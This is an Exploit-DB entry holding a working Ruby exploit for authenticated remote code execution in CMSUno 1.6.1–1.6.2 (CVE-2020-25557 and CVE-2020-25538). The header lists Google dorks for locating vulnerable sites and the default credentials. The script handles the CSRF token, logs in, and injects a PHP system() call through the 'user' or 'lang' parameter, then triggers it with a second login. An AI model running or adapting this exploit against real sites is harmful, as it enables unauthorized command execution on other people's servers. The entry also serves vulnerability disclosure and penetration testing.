CMSUno 1.6.2 - 'lang' Remote Code Execution (Authenticated)

EDB-ID:

49485




Platform:

PHP

Date:

2021-01-28


# Exploit Title: CMSUno 1.6.2 - 'lang/user' Remote Code Execution (Authenticated)
# Google Dorks:
#   inurl:uno/central.php
#   inurl:uno/config.php
#   inurl:uno.php intitle:"CMSUno - Login"
# Exploit Author: noraj (Alexandre ZANNI) for SEC-IT (https://secit.fr) https://www.exploit-db.com/?author=10066
# Vendor Homepage: https://www.boiteasite.fr/cmsuno.html
# Software Link: https://github.com/boiteasite/cmsuno/archive/1.6.2.tar.gz
# Version: 1.6.1, 1.6.2
# Tested on: docker image: php:7.4-apache (Debian buster)
# CVE : CVE-2020-25557 & CVE-2020-25538

# Vulnerabilities
## Discoverer: Fatih Çelik
## Discoverer website: https://fatihhcelik.blogspot.com
## Vulnerability 1:
##   Title: CMSUno 1.6.2 - 'user' Remote Code Execution (Authenticated)
##   CVE: CVE-2020-25557
##   References: https://fatihhcelik.blogspot.com/2020/09/cmsuno-162-remote-code-execution.html
## Vulnerability 2:
##   Title: CMSUno 1.6.2 - 'lang' Remote Code Execution (Authenticated)
##   CVE: CVE-2020-25538
##   References: https://fatihhcelik.blogspot.com/2020/09/cmsuno-162-remote-code-execution_30.html

#!/usr/bin/env ruby

require 'httpclient'
require 'docopt'

# username = 'cmsuno'
# password = '654321'
# root_url = 'http://localhost:5000/'
# command = 'pwd'

doc = <<~DOCOPT
  CMSUno 1.6.1 <= 1.6.2 - Remote Code Execution (Authenticated)

  Usage:
    #{__FILE__} -r <url> -c <cmd> [-u <username>] [-p <password>] [-t <tech>] [--debug]
    #{__FILE__} -H | --help

  Options:
    -r <url>, --root-url <url>            Root URL (base path) including HTTP scheme, port and root folder
    -u <username>, --user <username>      user name (if not default: cmsuno)
    -p <password>, --pass <password>      User password (if not default: 654321)
    -c <cmd>, --command <cmd>             Command to execute on the target
    -t <tehc>, --technique <tech>         Technique: exploiting 'user' param (default, with output) or 'lang' param (blind)
    --debug                               Display arguments
    -h, --help                            Show this screen

  Examples:
    #{__FILE__} -r http://example.org -c id
    #{__FILE__} -r https://example.org:5000/cmsuno -c 'touch hackproof' -u john -p admin1234 -t lang
DOCOPT

# Get anti-CSRF token
def get_unox(client, auth_status)
  print '[*] Fetching anti-CSRF token: '
  res = client.get(LOGIN_URL)
  case auth_status
  when false
    regexp = /name="unox" value="([a-f0-9]{32}?)"/
  when true
    regexp = /Unox='([a-f0-9]{32}?)'/
  end
  token = regexp.match(res.body).captures[0].chomp
  puts token
  return token
end

def login(client, user, pass)
  data = {
    'unox' => get_unox(client, false),
    'user' => user,
    'pass' => pass,
  }
  puts '[*] Logging in'
  res = client.post(LOGIN_URL, data)
  return res.body
end

def exploit(client, user, pass, cmd, tech)
  payload = "#{user}\";$pass='#{pass}';system('#{cmd}');?>// "
  case tech
  when 'user'
    data = "action=sauvePass&unox=#{get_unox(client, true)}&user0=#{user}&pass0=#{pass}&user=#{payload}&pass=#{pass}&lang=en"
  when 'lang'
    data = "action=sauvePass&unox=#{get_unox(client, true)}&user0=&pass0=&user=&pass=&lang=#{payload}"
  else
    raise 'Wrong exploitation technique argument value'
  end
  headers = {
    'X-Requested-With' => 'XMLHttpRequest'
  }
  #client.proxy = 'http://localhost:8080'
  puts "[*] Starting exploitation, using '#{tech}' param technique"
  client.post(VULNERABLE_URL, data, headers)
  # Login again to trigger uno/password.php
  clnt2 = HTTPClient.new
  return login(clnt2, user, pass).lines[..-2].join
end

begin
  args = Docopt.docopt(doc)
  pp args if args['--debug']

  username = args['--user'] || 'cmsuno'
  password = args['--pass'] || '654321'
  technique = args['--technique'] || 'user'
  LOGIN_URL = "#{args['--root-url']}/uno.php"
  VULNERABLE_URL = "#{args['--root-url']}/uno/central.php"

  clnt = HTTPClient.new
  login(clnt, username, password)
  output = exploit(clnt, username, password, args['--command'], technique)
  print '[*] Command output:'
  case technique
  when 'user'
    puts "\n#{output}"
  when 'lang'
    puts ' blind RCE, no output with this exploitation technique'
  end
rescue Docopt::Exit => e
  puts e.message
end